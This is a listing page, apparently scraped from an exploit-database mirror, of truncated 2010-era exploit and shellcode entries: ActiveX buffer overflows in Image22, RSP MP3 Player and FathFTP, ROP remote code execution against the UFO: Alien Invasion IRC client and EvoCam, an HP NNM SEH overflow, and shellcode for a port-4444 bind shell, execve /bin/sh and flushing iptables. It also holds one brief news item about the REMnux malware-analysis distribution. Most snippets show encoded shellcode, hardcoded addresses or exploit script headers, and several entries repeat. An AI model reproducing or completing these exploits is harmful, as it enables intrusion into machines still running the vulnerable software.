Image22 ActiveX 1.1.1 - Remote Buffer Overflow

' 988 bytes for shellcode ' bind shell port 4444 sc = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" & unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34" & unescape"%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41" &...

New Linux OS REMnux Designed For Reverse Engineering Malware

A security expert has released a stripped-down Ubuntu distribution designed specifically for reverse-engineering malware. The OS, called REMnux, includes a slew of popular malware-analysis, network monitoring and memory forensics tools the comprise a very powerful environment for taking apart...

RSP MP3 Player OCX 3.2 - ActiveX Buffer Overflow

RSP MP3 Player OCX 3.2 - ActiveX Buffer Overflow ' Exploit Title: RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow ' Date: July 9, 2010 ' Author: Blake ' Software Link: http://download.cnet.com/RSP-MP3-Player-OCX/3000-22064-10860503.html?tag=mncol ' Version: 3.2 ' Tested on: Windows XP SP3 / IE7 in...

linux/x86 find all writeable folder in filesystem 91 bytes

Exploit for linux/x86 platform in category shellcode ========================================================== linux/x86 find all writeable folder in filesystem 91 bytes ========================================================== /...

win32 write-to-file Shellcode 278 bytes

Exploit for win32 platform in category shellcode ======================================= win32 write-to-file Shellcode 278 bytes ======================================= ; Write-to-file Shellcode ; ; This shellcode was used in the exploit for: CVE-2010-0425 ; Supported: Windows 2000, WinXP, Server...

Write-to-file Shellcode Win32

Write-to-file Shellcode Win32. CVE-2010-0425. Shellcode exploits for multiple platform ; Write-to-file Shellcode ; ; This shellcode was used in the exploit for: CVE-2010-0425 ; Supported: Windows 2000, WinXP, Server 2003, Server 2008, Vista, Windows 7 ; ; Size: 278 bytes ;...

linux/x86-64 execve ("/sbin/iptables", ["/sbin/iptables", "-F"], NULL)

Exploit for linux/x86-64 platform in category shellcode ================================================================================= linux/x86-64 execve "/sbin/iptables", "/sbin/iptables", "-F", NULL - 49 bytes =================================================================================...

FathFTP 1.7 ActiveX Buffer Overflow

Exploit for windows platform in category remote exploits =================================== FathFTP 1.7 ActiveX Buffer Overflow =================================== ' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link:...

FathFTP 1.7 - ActiveX Buffer Overflow

FathFTP 1.7 - ActiveX Buffer Overflow ' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml ' Version: 1.7 ' Tested on: Windows XP SP3 / IE6 ' Note: The GetFromURL memb...

FathFTP 1.7 Active-X Buffer Overflow

' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml ' Version: 1.7 ' Tested on: Windows XP SP3 / IE6 ' Note: The GetFromURL member is also vulnerable to a stack...

UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution Snow Leopard

Exploit for macOS platform in category remote exploits ============================================================================== UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution Snow Leopard ROP ==============================================================================...

Alien Invasion v2.2.1 IRC Client Remote Code Execution - OSX Snow Leopard (ROP)

No description provided by source. !/usr/bin/python UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX OS X Snow Leopard: d1dn0t OS X Leopard: dookie Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013 import sys, socket, struct WRITEABLE = 0x8fe66448...

UFO - Alien Invasion 2.2.1 IRC Client Remote Code Execution

!/usr/bin/python UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX OS X Snow Leopard: d1dn0t OS X Leopard: dookie Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013 import sys, socket, struct WRITEABLE = 0x8fe66448 STRCPY=0x8fe2db10 shellcode =...

UFO: Alien Invasion 2.2.1 (OSX Snow Leopard) - IRC Client Remote Code Execution (ROP)

UFO: Alien Invasion 2.2.1 OSX Snow Leopard - IRC Client Remote Code Execution ROP !/usr/bin/python UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX OS X Snow Leopard: d1dn0t OS X Leopard: dookie Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013 import sys,...

Find all writeable folder in filesystem linux polymorphic shellcode 91 bytes

Find all writeable folder in filesystem linux polymorphic shellcode - 91 bytes. Shellcode exploit for linux platform / Title : Find all writeable folder in filesystem linux polymorphic shellcode . Name : 91 bytes Find all writeable folder in filesystem linux polymorphic shellcode . Date : Sat Jun...

FathFTP 1.7 - ActiveX Buffer Overflow

' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml ' Version: 1.7 ' Tested on: Windows XP SP3 / IE6 ' Note: The GetFromURL member is also vulnerable to a stack...

ARM Polymorphic - execve"/bin/sh", "/bin/sh", NULL Shellcode Generator

ARM Polymorphic execve"/bin/sh", "/bin/sh", NULL Shellcode Generator. Shellcode exploit for arm platform / Title: Generator polymorphic shellcode on ARM architecture Date: 2010-07-07 Tested on: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org |...

EvoCam Web Server OSX ROP Remote Exploit (Snow Leopard)

No description provided by source. !/usr/bin/python EvoCam Web Server OSX 3.6.6 and 3.6.7 import socket import struct SHELL = "\xdb\xd2\x29\xc9\xb1\x27\xbf\xb1\xd5\xb6\xd3\xd9\x74\x24" "\xf4\x5a\x83\xea\xfc\x31\x7a\x14\x03\x7a\xa5\x37\x43\xe2"...

HP NNM 7.53 ovwebsnmpsrv.exe Buffer Overflow

Exploit Title: HP NNM 7.53 ovwebsnmpsrv.exe Buffer Overflow SEH Date: 07/06/2010 Author: bitform Software Link: hp.com Version: 7.53 Tested on: Windows XP SP2 CVE: CVE-2010-1964 Exploit: C:\Program Files\HP OpenView\www\bin\ovwebsnmpsrv.exe -dump...

HP OpenView Network Node Manager (OV NNM) 7.53 - 'ovwebsnmpsrv.exe' Local Buffer Overflow (SEH)

Exploit Title: HP NNM 7.53 ovwebsnmpsrv.exe Buffer Overflow SEH Date: 07/06/2010 Author: bitform Software Link: hp.com Version: 7.53 Tested on: Windows XP SP2 CVE: CVE-2010-1964 Exploit: C:\Program Files\HP OpenView\www\bin\ovwebsnmpsrv.exe -dump...